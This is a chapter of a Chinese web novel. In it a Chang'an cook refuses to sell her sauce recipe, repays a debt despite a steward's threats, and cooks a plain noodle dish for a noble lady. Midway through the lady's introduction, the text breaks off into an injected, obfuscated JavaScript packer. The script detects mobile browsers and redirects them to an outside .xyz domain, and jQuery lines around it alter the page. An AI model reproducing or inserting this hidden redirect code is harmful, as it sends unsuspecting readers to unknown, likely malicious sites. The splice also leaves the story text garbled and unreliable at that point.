那中年人的声音不高,却带着一种奇特的穿透力,将食肆内刚刚松快下来的气氛瞬间冻结。
福伯脸上的笑容僵住,下意识地攥紧了手中的抹布,紧张地看向沈知意。
刚刚还因收入丰厚而雀跃的心,一下子提到了嗓子眼。
秘方?这可是六娘熬了一夜、好不容易才弄出来的宝贝,是还清债务、救回大郎性命的指望!
沈知意洗净手,转过身,看向来人。
对方约莫四十上下年纪,面皮白净,眼神平静无波,穿着藏青色的圆领常服,料子普通,但浆洗得一丝不苟,举止间带着一种不疾不徐的沉稳,不像寻常商贾,倒似某些高门大户里颇有体面的管事之流。
她心中警铃微作,面上却不露分毫,只擦了擦手,平静道:“这位先生谬赞了。不过是些糊口的粗浅手艺,哪里称得上什么秘方,更谈不上割爱了。”
那中年人似乎料到她会拒绝,并不着恼,只微微一笑,语气依旧平和,却带着不容置疑的意味:“小娘子过谦了。‘灵焰’一浇,满街飘香,百五十碗顷刻售罄,这岂是寻常粗浅手艺?我家主人素好美食,尤喜新奇之物,愿出高价,绝不让小娘子吃亏。”
他略一停顿,报出一个数目,“这个数,买小娘子这‘灵焰’的调配之法,如何?”
福伯在一旁听得倒吸一口凉气,那数目,足以在长安城置办一处不错的小宅院了。
他下意识地看向沈知意,嘴唇哆嗦着,几乎要替她答应下来。
沈知意的心也是猛地一跳。
巨额债务的压力和兄长医药费的沉重,让她几乎有一瞬间的动摇。
但她立刻清醒过来。这“灵焰”的核心在于那熬制一夜的复合酱料和最后那画龙点睛的热油浇泼技巧,是其立足长安、未来发展的根本之一。
今日若为解一时之急卖了,他日对方大规模仿制,她这食肆便再无独特优势。
更何况,对方来历不明,出手如此阔绰,背后恐非普通富户,贸然牵扯,福祸难料。
她深吸一口气,压下杂念,再次坚定摇头:“承蒙贵主人看重,但此乃小店立足之本,恕难从命。先生请回吧。”
那中年人脸上的笑容淡了些,目光在沈知意脸上停留片刻,似乎想看清她是真的不为所动,还是待价而沽。
最终,他点了点头,语气依旧听不出喜怒:“既如此,不便强求。但愿小娘子日后莫要后悔今日决定。”
言罢,竟不再多话,转身便走,身影很快消失在渐暗的街巷中。
来人走得干脆,反而让沈知意心头更沉。
那最后一句,隐隐带着一丝说不清道不明的意味。
“六娘……那、那么多钱……”
福伯这才敢出声,声音里满是惋惜和后怕。
“福伯,钱能赚,立身的根本不能卖。”沈知意打断他,语气坚决,“快去把药煎上,我看看阿兄。”
她拿起那份早已备好的、沉甸甸的十贯钱,心情复杂地走向后院。
方才那中年人的出现,像是一盆冷水,浇熄了她今日成功的喜悦,让她更清醒地认识到,在这长安城立足,光有手艺还远远不够。
沈砚的房间里依旧弥漫着药味,但比前几日似乎少了些沉疴的死气。
孙郎中今日清晨又来复诊过一次,调整了药方,言道咯血已止,病情暂稳,但仍需静养和名贵药材温补,千万不能再受刺激。
沈知意推门进去时,沈砚正醒着,靠坐在榻上,脸色依旧苍白,但眼神比往日清明了许多。
窗外食肆的喧嚣隐约可闻,他显然也听到了今日的不同寻常。
“六娘……”他声音微弱,却带着担忧,“外面……可是又有人为难你?”
他听到了方才前店隐约的对话声,虽不真切,却敏感地察觉到了异常。
沈知意将钱袋放在榻边小几上,发出沉闷的声响,努力挤出一个轻松的笑容:“没有的事,阿兄别瞎想。你看,钱攒够了,明日就去把刘家的债彻底清了!孙郎中说你见好了,咱们以后的日子会越来越好的。”
沈砚看着那鼓囊囊的钱袋,又看看妹妹强装笑颜却难掩疲惫的脸,心中酸涩不已。
他何其聪慧,怎会猜不到这几日妹妹承受了多大的压力。
“苦了你了……是阿兄没用……”
“阿兄说的什么话!”沈知意握住他冰凉的手,“咱们是一家人,不说这些。你好好吃药,快点好起来,就是对我最大的帮忙了。”
她仔细替他掖好被角,“我去准备晚饭,今日咱们也尝尝那‘灵焰面’!”
伺候沈砚吃完药和一碗特意留下的、未浇辣油的清淡版“灵焰面”后,沈砚的精神似乎又好了一些,甚至能稍稍坐久些,同她说了几句话。
次日清晨,沈知意特意晚了些开张。
她将十贯钱仔细串好,用布包了,让福伯守在店里,自己亲自前往刘府。
刘府门庭高大,石狮威严。通传之后,出来见她的依旧是那位赵管家。
他见到沈知意手中沉甸甸的钱袋,三角眼里闪过一丝明显的错愕和不易察觉的阴鸷。
他显然没料到,这沈家小娘子竟真能在三日内凑足十贯钱!
“赵管家,这是十贯钱,连本带利,请您清点。”
沈知意将布包递上,声音清晰平静。
赵管家接过钱,掂了掂,皮笑肉不笑地道:“沈小娘子真是好本事啊!三日便凑足了十贯,看来那食肆真是日进斗金呐!”
“糊口而已,比不得刘府家大业大。”沈知意不卑不亢,“既然钱款两清,还请赵管家将先父立下的字据归还。”
赵管家哼了一声,慢条斯理地让人取来字据,却并不立刻递给她,反而上下打量着她,阴阳怪气道:“字据自然给你。不过……小娘子,这长安城水深,做生意光靠手艺可不行,还得懂规矩,识时务。昨日……是不是有人去找过你了?”
沈知意心中一动,面上却不显:“我不明白赵管家的意思。字据既然两清,我便告辞了。”
她伸手欲拿回字据。
赵管家却将字据稍稍往后一撤,压低了些声音,带着几分威胁之意:“小娘子,别敬酒不吃吃罚酒。有些人,可不是你能得罪得起的。卖了方子,拿钱消灾,安安生生开你的小店,岂不美哉?何必自寻烦恼?”
沈知意立刻明白了,昨日那中年人,恐怕与刘家脱不了干系,甚至可能就是刘家背后指使,或是刘家得知消息后也想分一杯羹。
她心中怒火升腾,却强自压下,一把夺过字据,冷声道:“不劳赵管家费心。我的店,我自有主张。”
说罢,转身便走,毫不留恋。
赵管家看着她挺直的背影,脸色阴沉下来,狠狠啐了一口:“不识抬举的丫头片子!有你哭的时候!”
沈知意拿着那张泛黄的字据,走出刘府高高的门楼,阳光照在身上,却感觉不到多少暖意。
还清债务的轻松感被更大的忧虑所取代。
刘家显然并未罢休,昨日那神秘人的威胁也言犹在耳。
回到食肆,她将字据仔细收好,心情却无法真正轻松。
她依旧卖着“灵焰面”和胡麻饼,生意依旧火爆,但她敏锐地察觉到,斜对面张记蒸饼的掌柜看她的眼神,除了嫉妒,似乎还多了些别的东西,偶尔与路过的市署小吏低声交谈时,还会朝她这边瞥上一眼。
又过了两日,沈记食肆的生意依旧红火,沈知意却愈发谨慎。
她减少了“灵焰面”的每日供应量,开始琢磨一些新的、不那么扎眼却也能保证利润的日常菜品,比如改良后的夹肉蒸饼、用料更实在的汤饼。
这日午后,食客稍稀,一辆看似普通、实则用料考究的青毡马车缓缓停在了街口。
车帘掀开,先下来的竟是多日未见的苏晏清。
他今日依旧是一身月白襕袍,笑容温润,下车后却并未立刻走向食肆,而是转身,微微躬身,向着车内温言道:“姑母,便是这家小店了。您慢些。”
一只保养得宜、戴着玉镯的手搭在了苏晏清的手臂上,一位身着沉香色暗花缎面褶裙、外罩同色半臂、头戴帷帽的妇人,仪态优雅地缓缓步下马车。
虽看不清全貌,但其通身的气度与这喧闹的西市格格不入,引得周遭行人纷纷侧目。
那妇人身旁还跟着一个同样衣着体面、神情严肃的老嬷嬷。
苏晏清扶着那妇人,缓步走向沈记食肆。
福伯何时见过这等阵仗,一时手足无措。沈知意心中亦是惊讶,连忙迎出。
“苏录事。”
苏晏清微笑着介绍:“沈小娘子,这位是在下姑母
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405755|184455||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。姑母素日里胃口不佳,听闻小娘子手艺非凡,特来尝尝。”
那帷帽下的目光似乎落在沈知意身上,轻轻颔首,并未言语,自有身旁的老嬷嬷代为开口,声音平直无波:“我家夫人不用荤腥,不喜油腻,口味需清淡雅致,小娘子可能调理?”
沈知意心中念头急转,这位“姑母”气度非凡,连苏晏清都如此恭敬,绝非寻常人物。
她压下心绪,从容应道:“夫人、苏录事请里面稍坐。小店虽陋,自有清淡之物,请稍候片刻。”
她将三人引至店内唯一一张还算干净整洁的桌子旁坐下,自己迅速回到灶间。
不用荤腥,不喜油腻,要清淡雅致……这考验的才是真功夫。
她目光扫过现有的食材,心思电转。
很快,她取来最新鲜的菘菜心,只取最嫩的菜胆,快速焯水,保持翠色,捞出后用冰镇井水激一下,沥干。又取来昨日熬好、已撇尽浮油的高汤,舀出清亮的部分,重新入小锅烧开,只加少许吴盐调味。
另起一小锅,加入少许清水和饴糖,熬成淡淡的蜜色糖浆,放入几枚洗净的红枣和一小把枸杞慢煨。
接着,她取来少量最细的白面,加入少许盐和清水,快速揉成一个极光滑的小面团,擀成薄如纸张的面皮,切成细如发丝的银丝面。
清汤滚开,银丝面下去片刻即熟,捞入一个素白瓷碗中,浇入清汤,汤色清澈见底。
中间放入翠绿的菘菜心,周围饰以两三颗蜜枣、几粒红艳的枸杞。
最后,她取来一小碟自己前几日试着用秋葵籽磨碎调制的、类似藕粉的透明芡汁,勾了极薄的一层琉璃芡,淋在菜心之上,使其更显晶莹剔透。
一碗清澈见底、素白翠绿点缀红黄、热气微腾的“清汤银丝素面”便成了。
旁边配了一小碟她自制的、用秋梨和蜂蜜慢熬而成的梨膏,言明若觉口味过淡,可略蘸食少许。
当这碗面被端到那位夫人面前时,一直沉默不语的老嬷嬷眼中闪过一丝讶异。
苏晏清亦是微微颔首。
那夫人伸出纤长的手指,轻轻掀起帷帽一角,露出线条优美的下颌和淡色的唇。
她执起银箸,先观其色,清透雅致。再闻其味,只有淡淡的汤鲜和一丝若有若无的果甜。她夹起一根银丝面,送入口中,细细咀嚼。
面条极细却韧,吸饱了清汤的鲜。菘菜心清甜脆嫩,蜜枣枸杞带来自然的甘甜。整体口味极致清淡,却绝非无味,各种食材本真的鲜甜层次分明,融合得恰到好处,吃完后口齿清爽,毫无负担。
她并未多吃,只用了小半碗,尝了尝菜心,便放下了筷子。
身旁的老嬷嬷立刻递上温热的巾帕。
“很好。”
帷帽下,传来一道温和却略带疏离的声音,如玉石轻叩。
“清淡却不寡淡,颇见心思。”
她目光转向沈知意:“这梨膏,也是你自制的?”
“回夫人,是。”
沈知意恭谨答道。
那夫人微微颔首,对老嬷嬷低语了一句。
老嬷嬷便从随身锦囊中取出一枚银锞子,放在桌上,道:“这是夫人赏你的。”
沈知意一看那银锞子,足有五两重,远超一碗面钱,连忙道:“夫人厚赏,小女子愧不敢当。一碗面不值……”
“收下吧。”苏晏清温声打断她,“姑母不常夸人,这是你应得的。”
那夫人已起身,苏晏清连忙搀扶。
老嬷嬷对沈知意道:“夫人问你,可愿偶尔过府,专司调理几日羹汤?”
沈知意心中一震,这是天大的机遇。
但……她看了一眼后院方向,谨慎道:“承蒙夫人抬爱,小女子感激不尽。只是家兄病重,需人时刻照料,恐难离店太久。”
那夫人闻言,脚步微顿,帷帽似乎向她这边偏了偏,却未再说什么,在苏晏清的搀扶下缓步离去。
马车驶远,沈知意看着桌上那枚沉甸甸的银锞子,心中波澜起伏。
这位贵人既是苏录事带来的,想必不是那难缠之人,应当不会因自个的拒绝而心生怨恨。
且想到病榻上的兄长,她并不后悔。
然而就在那辆马车驶离不久,斜对面张记蒸饼的胖掌柜,飞快地朝着某个方向,打了个隐秘的手势。